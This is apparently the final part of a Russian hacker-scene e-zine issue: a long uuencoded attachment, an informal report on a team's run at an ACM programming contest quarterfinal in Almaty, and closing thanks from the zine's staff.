MU#QVE6S)VN]8\^3G-K(N@<$!>FWI+)UW0*AW>7PJ%2\\OU`>/\3RE0=1%&?I
ME:IBJX[GVM4-L[Y1W61F=:^ZLU??8==0T87IR?85W71"S(@<)@FPT2QP:&WO
MT:1>`"O=]KW?^$!!R#(J&V'7?CB$`*X.KN,<'L#;KAO1X0XAXG$^QII5-O5G
M$%6`A0&$E-$`MM:$F_;,H>((HQ&$9=?>+52[.!F]`Z)144P2@@U))$6B4#@_
MYS3R@F00/T"$NA]PNA:5)&B$#CXHVLF]!(1!2-80^6TFD(PKNCHES#L0T84-
MB`-Y)*5-%"1-1=2.)66(?`Z/8P(GYF".`+*C@B<Y1)^"@-PUTR05(*H3WYV\
M1FH`#<8<%4A5`Z<Y(9)%)A6PRMP37>+^,%N0#`$)["@4P.!^6MHQ7$)3R.
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
M$E<5'[email protected]$7#U1'>#I(?D0O]^$S'HP0CB2=6TTXL*8&:/7H/?K"H;6%/+]#
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
M-50LE#DP)DLKFXH,.:P_?Q?YA1[^[email protected]*K:/-5J0DNVSFQ
MXT]VKK2Z%"/GENO]XYN?>K?"R89R@O#--U[^UG-0S7[Q+Z%\>$E!C_T?D!7+
M?W)R>O[B)`&SNN&_=X,B+J3&4(9+B]A!4(+?`H-H6$[*R(U7R=D8L(:)<`9]
M#A(1UZ2]J$\0)F>LYC:5ZR#T3<5VUB"68WRE51M-:EO\I<&>MHO5@\W7R[]\
M$C5<^6R+.P:M[XOL5^',GW3G*4,FU_J(]86A*TM_3;35B5T>0N%(7S&$:K_<
M@48_/@2,$=`J\E_>LL2"EDZ&0.ICY'$*554@XT)N<A*CR8H"6/!U6`6TE.?Z
M$,"ICJX-\-#N?17@--/Y(4#C#JX-P)2SRRJPY=SSAP#/='9M0!C=@%:2N?0"
M\4&T3G5UK0@>N4>MHWCF"O6A)$^Z^O3AIP(-'XF4L@C#HKB>Y"R?ARC_[BH\
MT4#SX?BWT1%XMA3"E/:B0=9F'&`L[UOX4E7?=!5B#9#CM5`")D01]64Q2$@%
M1L&L"'/1SYB%S>HR4[A%YA=39K04G[28*O>*4($E/UG1X)JA!3]'[/?_O\/"
M%?A7A)=RG\XT)3"=X.[B@LRIN*?JUM>__ZV\K[7)Q=HK1_C;;O,1*G1U3Z!$
M=F%UI9G8ZQAA?F';Y)>E7%1Z`T371LAD1;1&-"J%S=MR>92'9N4QN((N;\2@
M-Z2\A&XPJA`6>V*A9"N8@D'J&9H+X-7%M+0SE%07I%IA%',FY>5]J0X*\](.
MX&6I,,HUT\+PLE18"323&O%+L9,@R$P[D@^UN9,`LS!YVAY&55<[B="Q`O>4
M,53?18LP")3DYN"RPUJD.5UKVY/V9-\].^-8;$0CVOEBCCD%L'>*780M=Y/3
M/0YP!O$Q*0>!1*50[7T'\3Y$-=]!`^"\*^?=R9[K%K?F;#YV>[`+WKT8?::A
M,#W[XE'",YE7#C1-\581MD(YU/Q6*)"R3U7R_#B40=$:('LOW%&%X.0?`KOQ
MPOVU.X5(*./V;3LF*TUE%KC>A-78'1;4@&*^G!B75F?LC)6KRQ6>=)[EY)-.
MME!`KZGZA(>D+`"Q`\::JFU?D]<GV^$:SQ17-MBUV:C`!/JF6$*+87.,8&+/
MGQ6`T&#(@+`&!%4`X*`X/Q68[%_=F!<#&;R"A&V@*^;X33&^5_!VPU<%L_^/
M`54-'1Q':?I.&Q_$(&&;J]21_A_/=`,F-,Z5&ZIY?"BKO<P.Z9%U[7DYIL"Y
M*&X%SDDKUIDEWN^Y?_=XX"_<U^VYQ(#*@M`9K7>JR2XX=GHX`$'O(Q7A=8C(
M0)PGWLU2,Q!<S>-9*0Z<XDK/IA=].J_Z+(U=)]A^DDJV_=P//>%\X-G.#87<
M:G4<I?I:G"75`^>P81//_,^D"2RQ8?6GX,Z9U$?V8L/Z7\6P9DDKBN78L*T_
MAR!GZ8`"&[)A2Y@,K0!8PH(-&_EIT2R6*6R0$<0X/IQ<KD?.S/[7U]/)K84C
M-USD1[BINC;BRO3R[Q)T@[email protected]'64><B;Y7C1G8];0T$E.`&%*$<J20J&X!DI
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
&>/L`R```
`
end
sum -r/size 164/11076
---< cut here >---
,?$$;$!$$$$$$$$$$$$$$$$!$$$$$$$$$!$$$$.
%;' `;%
Acm 1/4 kz subregion
%;. ,;%
`?$$$$$;$!$$$$$$$$$$$$$$$$$$$$$$$!$$$$'
%$@! ПЕРВЫЕ ДНИ
Сформировали несколько команд. У каждой - свой программист, переводчик и
ответственный за алгоритмы. Кто - то готовился долго и упорно, кому - то
сообщили недавно.Вообщем на первый день выдали несколько заданий.Все про-
стые, тем более всё на русском языке.
Наша команда: Scorpio, best_mowi, shmel решили не всё, но достаточно -
прошли в следующий тур.
Задания средней сложности (сортировка, высш. мат, етс..), но отводится
катастрофически мало времени - 30 минут на 5 заданий.
Думаем, что уже одной ногой в Алматы - ошибаемся.. Последний тур пригото-
вил 2 задания на английском языке с финала прошлого года (Прага).
%$@! АЛМАТЫ
Красивый большой город. Такая сила и мощь.. Вкусное пиво, красивые девуш-
ки, дорогие машины.
Уже успели спросить интервью на тему отечественного авиатранспорта. Отве-
тили: "Лучше не летать ))" и отправились в один из грамотных игровых клу-
бов Алматы - "Skynet". В cs играло много кланья ([], |, etc), ну и мяса..
Первые пять раундов - абсолютные звания паштетов. Разыгрались через мину-
ты две - три..
За регистрацию - 10$ с команды. Выдают каждому бэдж, памятку, пару бумаг.
Рассказывают о правилах, что разрешено, что запрещено..
%$@! ЧЕТВЕРТЬ
Тестим PCMS (программа контроля за лидирующими командами, служба отправки
решённых заданий, оповещатель). Глючит.. но вроде работает - через нес-
колько минут начало 1/4 финала чемпионата мира по программированию, кото-
рый проводит фирма IBM в казахстанском субрегионе.
На 11 заданий 5 часов. Все условия на английском языке (тексты заданий в
принципе простые - всего лишь пару раз пришлось смотреть в словарь).
Есть задания простые, есть сложные да и вдобавок их трудно различить меж-
ду собой, что крайне необходимо - за любое решённое задание 1 балл.
Так что не имеет смысла решать самое трудное задание все пять часов, про-
игрывать, а потом орать: "Я мега кул кодер" - всем уже всё равно на тебя.
Есть задачи ловушки - простое задание, решение кажется элементарным, но
на него не хватит и недели. Мы подписали себе смертный приговор - выбрали
именно такое задание. С обезумевшими красными лицами решали все 5 часов -
ничего не получалось. Под конец с трудом переобулись, конкретно решили на
бумаге 3 задания - на набор времени не хватило.
%$@! ПОСЛЕ
На заключительной конференции, где присутствовали питерские организаторы,
представитель Майкрософта в Казахстане, глава "Хай тек фор хьюман", етс -
вручали подарки (часы, книги, футболки и т.д.).
Нам ничего не дарили - но мы и не расстраивались , так как ехали в Алматы
без моральной и психологической подготовки к чемпионату, когда некоторые
личности готовились за год.
%$@! PS
Вот так и отдыхает стафф журнала "Feeling of Digital Streams" ;D
,?$$;$!$$$$$$$$!$$$$$$$$$$!$$$$.
%;' `;%
Close words
%;. ,;%
`?$$$$$;$!$$$$$$$$$$$$$$$$!$$$$'
Спасибо всем читателям, друзьям, родителям. Безуслов-
но, без вас журнала бы не было.
Спасибо defaced, спасибо ace7.
2x спасибо ace7 ;), n00F'у <[email protected]> за от-
личное ascii.logo к этому выпуску, а также
Goodwind'у <[email protected]>, который предлагал вариан-
ты оформления зайна.
и ещё... мы пока, конечно же, не доросли до того уров-
ня, чтобы передавать приветы в адрес fsb / fbr, как это делает
free_hunter, но чувакам из местной cybercops конторы
это можем сделать запросто ))
кей. кей. ещё увидимся..
(c) 2003-2005 FDS